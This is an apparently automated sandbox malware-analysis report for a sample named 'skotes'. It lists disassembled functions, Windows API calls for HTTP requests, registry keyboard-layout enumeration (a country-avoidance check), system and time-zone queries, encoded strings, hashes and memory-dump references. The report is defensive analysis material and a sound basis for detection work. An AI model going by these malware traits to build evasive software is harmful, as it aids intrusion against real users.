Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 733c0ffbea95381a6c2fc3f37de3021d946f49009c70b490a237e8cd2a7058f1
Instruction ID: e963355437c4ba5bc370cf69a5f3ec9ea62e830992f2f27af20e7a7b073ff5d5
Opcode Fuzzy Hash: 733c0ffbea95381a6c2fc3f37de3021d946f49009c70b490a237e8cd2a7058f1
Instruction Fuzzy Hash: EEB1E5B0A001189BDB28DF28CCC5BEE7BA5EF45304F5041AEF50997281D7799AC0CBA9

Function 004B6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 004B617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 004B6271

Strings

00000422, xrefs: 004B60C9
00000423, xrefs: 004B60FA
0000043f, xrefs: 004B612B
00000419, xrefs: 004B6098
Keyboard Layout\Preload, xrefs: 004B6054

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 084fa99aa9168a1df038e4e491f46c16ef014526b8f3e8e56fd86b6490fcec59
Instruction ID: 34b125b52ad2ae6b61c00c13946a01ef1a540c39cd0891f151b6db5096f530e0
Opcode Fuzzy Hash: 084fa99aa9168a1df038e4e491f46c16ef014526b8f3e8e56fd86b6490fcec59
Instruction Fuzzy Hash: 3FB1B071900168ABDB24DB14CC84FDEB779AF05304F5442DAE508E72D1DB78AFA88F69

Function 004B7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004B7ED3

Strings

JjssOl==, xrefs: 004B813A
JjsrPl==, xrefs: 004B828A
JjssPV==, xrefs: 004B81E2
JjsrQV==, xrefs: 004B8092

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: e3278de98b760e7054e61dccfad9b51df88a3ced594c97faa05b957f5cd844d5
Instruction ID: d039b44c8627e710bb6dd0dff6379ad0230d8e298653cc620bcae0bbe765cf9b
Opcode Fuzzy Hash: e3278de98b760e7054e61dccfad9b51df88a3ced594c97faa05b957f5cd844d5
Instruction Fuzzy Hash: 27E14870E002049BDF15BB29CC0B7DE7B72AB41324F94429EE815673C2DB394E958BDA

Function 004F1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004F1775: CreateFileW.KERNEL32(00000000,00000000,?,004F1B65,?,?,00000000,?,004F1B65,00000000,0000000C), ref: 004F1792

__dosmaperr.LIBCMT ref: 004F1BD7
GetFileType.KERNEL32(00000000), ref: 004F1BE3
__dosmaperr.LIBCMT ref: 004F1BF6
__dosmaperr.LIBCMT ref: 004F1D9C

Strings

H, xrefs: 004F1D21

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 8fc777fb7c38fe96e493910f9441af64f775f0e36e14733b420d5a9a7e0a753c
Instruction ID: d513797f2250fae1bb535f3adf1bc003f273e757c35af08d31330b251faa0907
Opcode Fuzzy Hash: 8fc777fb7c38fe96e493910f9441af64f775f0e36e14733b420d5a9a7e0a753c
Instruction Fuzzy Hash: 74A13532A04148DFCF19EF69C891BBE3BB1AB06324F14418EE911AB3A1D7389D02CB55

Function 004F26F2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00506758), ref: 004F275C

Strings

XgP, xrefs: 004F2705, 004F270B
Eastern Standard Time, xrefs: 004F27CB
Eastern Summer Time, xrefs: 004F27FA

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$XgP
API String ID: 565725191-3209624506
Opcode ID: 90b16001f520f9bce387103d64b188a9e857a3b6c615c2dede002a1373d8ea17
Instruction ID: 12906c790585c2c790c05c516f08f112cea4e61ffa55a5162ce7e4db4d097e37
Opcode Fuzzy Hash: 90b16001f520f9bce387103d64b188a9e857a3b6c615c2dede002a1373d8ea17
Instruction Fuzzy Hash: 0751387190021CABDB10EF66CE419BE77F8EB10354F10466FE620A3291E7B89E459B58

Function 004E6FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,004E6EE6), ref: 004E6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 004E7030
__dosmaperr.LIBCMT ref: 004E70C5

Part of subcall function 004E732A: __dosmaperr.LIBCMT ref: 004E735F

Strings

nN, xrefs: 004E6FCE

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: nN
API String ID: 2531987475-2385231394
Opcode ID: 5c7266f46d536c2b32fec2a8719c1aba03760b3da3dbcd1e5a4c3d222166e914
Instruction ID: b306189f9592902e887791804956a3ec51b734a52b80f6275b379b1831501a70
Opcode Fuzzy Hash: 5c7266f46d536c2b32fec2a8719c1aba03760b3da3dbcd1e5a4c3d222166e914
Instruction Fuzzy Hash: 7E419D71904384ABDB24DFB7DC419AFBBF9EF88314B10452EF956D3610E6389900DB25

Function 004B9BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004B9BA8
Sleep.KERNEL32(00000064,?), ref: 004BA963
